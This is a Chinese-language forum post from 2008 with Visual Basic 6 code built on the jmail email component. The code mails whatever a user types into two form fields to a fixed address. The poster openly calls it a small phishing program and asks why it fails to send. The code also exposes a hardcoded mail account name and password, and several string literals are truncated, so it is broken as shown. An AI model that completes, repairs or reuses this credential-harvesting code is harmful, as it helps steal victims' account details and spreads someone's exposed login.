jmail4.0控件编程的问题.
Option ExplicitSub SendMail(Optional ByVal sSubject As String, _
Optional ByVal sBody As String, _
Optional ByVal sFileName As String)
Dim jmail
Set jmail = CreateObject("jmail.Message") '建立发送邮件的对象
If sFileName <> "" Then jmail.AddAttachment sFileName '附件
jmail.Charset = "gb2312" '邮件的文字编码为国标
jmail.Silent = False
jmail.Priority = 1 ''邮件的紧急程序,1-5 1为最高
jmail.From = "sun8684@ '发件人的Email地址
jmail.MailServerUserName = "fengziruanjian" '发件人的Email帐号
jmail.MailServerPassWord = "zhangyan" '发件人的Email密码
jmail.AddRecipient "297061006@ '收件人的E-MAIL地址
jmail.Subject = sSubject '主题
jmail.Body = sBody '信件正文
jmail.Send ("smtp.)
Set jmail = Nothing
End Sub
Private Sub Command1_Click()
SendMail "哦My噶又来信了", Text1.Text & "-" & Text2.Text '分别为主题,正文
If Text1.Text = "" Then
MsgBox "请输入正确号码!", 64, ""
Else
MsgBox "!", 64, " !"
End If
End Sub
--------------
以上这段代码放到form工程中.这段意思是text1.text和text2.text中输入的数据 发送到130304414@邮箱.
为什么我运行了 可他却发送不成功?这是一个小的叼鱼程序.
[[it] 本帖最后由 b123456 于 2008-10-24 16:32 编辑 [/it]]